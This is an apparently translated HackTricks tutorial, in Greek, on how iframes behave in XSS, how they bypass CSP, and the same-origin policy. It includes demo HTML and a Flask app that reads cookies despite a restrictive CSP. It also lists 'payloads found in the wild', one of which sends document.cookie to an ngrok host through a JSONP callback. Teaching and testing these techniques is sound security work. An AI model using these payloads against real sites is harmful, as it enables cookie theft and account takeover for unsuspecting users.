Iframes in XSS, CSP and SOP

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Iframes στο XSS

Υπάρχουν 3 τρόποι για να υποδείξετε το περιεχόμενο μιας σελίδας που έχει ενσωματωθεί σε ένα iframe:

  • Μέσω του src που υποδεικνύει μια διεύθυνση URL (η διεύθυνση URL μπορεί να είναι διαφορετικής προέλευσης ή ίδιας προέλευσης)

  • Μέσω του src που υποδεικνύει το περιεχόμενο χρησιμοποιώντας το πρωτόκολλο data:

  • Μέσω του srcdoc που υποδεικνύει το περιεχόμενο

Πρόσβαση σε μεταβλητές γονέα και παιδί

<html>
<script>
var secret = "31337s3cr37t";
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>

Εάν αποκτήσετε πρόσβαση στο προηγούμενο html μέσω ενός http server (όπως python3 -m http.server), θα παρατηρήσετε ότι όλα τα scripts θα εκτελεστούν (καθώς δεν υπάρχει καμία CSP που να το αποτρέπει)., ο γονέας δεν θα μπορεί να αποκτήσει πρόσβαση στη μεταβλητή secret μέσα σε οποιοδήποτε iframe και μόνο τα iframes if2 & if3 (τα οποία θεωρούνται ίδιου site) μπορούν να αποκτήσουν πρόσβαση στο secret στο αρχικό παράθυρο. Παρατηρήστε ότι το if4 θεωρείται να έχει προέλευση null.

Iframes με CSP

Παρακαλώ, παρατηρήστε ότι στις παρακάτω παρακάμψεις η απάντηση στην ενσωματωμένη σελίδα δεν περιέχει κανέναν κεφαλίδα CSP που να αποτρέπει την εκτέλεση του JS.

Η τιμή self του script-src δεν θα επιτρέψει την εκτέλεση του κώδικα JS χρησιμοποιώντας το πρωτόκολλο data: ή το χαρακτηριστικό srcdoc. Ωστόσο, ακόμα και η τιμή none του CSP θα επιτρέψει την εκτέλεση των iframes που τοποθετούν ένα URL (πλήρες ή μόνο το μονοπάτι) στο χαρακτηριστικό src. Επομένως, είναι δυνατό να παρακάμψετε το CSP μιας σελίδας με:

<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Παρατηρήστε πώς η προηγούμενη CSP επιτρέπει μόνο την εκτέλεση του inline script. Ωστόσο, μόνο τα if1 και if2 scripts θα εκτελεστούν, αλλά μόνο το if1 θα έχει πρόσβαση στον γονικό κρυφό κώδικα.

Επομένως, είναι δυνατόν να παρακάμψετε μια CSP αν μπορείτε να ανεβάσετε ένα αρχείο JS στον διακομιστή και να το φορτώσετε μέσω iframe ακόμα και με script-src 'none'. Αυτό μπορεί πιθανώς να γίνει και με κατάχρηση ενός same-site JSONP endpoint.

Μπορείτε να δοκιμάσετε αυτό με τον παρακάτω σενάριο όπου ένα cookie κλέβεται ακόμα και με script-src 'none'. Απλά εκτελέστε την εφαρμογή και αποκτήστε πρόσβαση μέσω του προγράμματος περιήγησής σας:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Άλλα Payloads που βρέθηκαν στον άγριο

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Το περιεχόμενο μέσα σε ένα iframe μπορεί να υπόκειται σε επιπλέον περιορισμούς μέσω της χρήσης του χαρακτηριστικού sandbox. Από προεπιλογή, αυτό το χαρακτηριστικό δεν εφαρμόζεται, πράγμα που σημαίνει ότι δεν υπάρχουν περιορισμοί.

Όταν χρησιμοποιείται, το χαρακτηριστικό sandbox επιβάλλει αρκετούς περιορισμούς:

  • Το περιεχόμενο θεωρείται ότι προέρχεται από μια μοναδική πηγή.

  • Οποιαδήποτε προσπάθεια υποβολής φορμών αποκλείεται.

  • Η εκτέλεση σεναρίων απαγορεύεται.

  • Η πρόσβαση σε ορισμένα APIs απενεργοποιείται.

  • Αποτρέπεται η αλληλεπίδραση των συνδέσμων με άλλα περιβάλλοντα περιήγησης.

  • Η χρήση προσθέτων μέσω των ετικετών <embed>, <object>, <applet> ή παρόμοιων δεν επιτρέπεται.

  • Αποτρέπεται η πλοήγηση του κύριου περιβάλλοντος περιήγησης του περιεχομένου από το ίδιο το περιεχόμενο.

  • Αποκλείονται λειτουργίες που ενεργοποιούνται αυτόματα, όπως η αναπαραγωγή βίντεο ή η αυτόματη εστίαση των ελέγχων φόρμας.

Η τιμή του χαρακτηριστικού μπορεί να αφεθεί κενή (sandbox="") για να εφαρμοστούν όλοι οι προαναφερθέντες περιορισμοί. Εναλλακτικά, μπορεί να οριστεί ως μια λίστα τιμών χωρισμένων με κενό που απαλλάσσει το iframe από ορισμένους περιορισμούς.

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes στο SOP

Ελέγξτε τις παρακάτω σελίδες:

pageBypassing SOP with Iframes - 1pageBypassing SOP with Iframes - 2pageBlocking main page to steal postmessagepageSteal postmessage modifying iframe location
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Last updated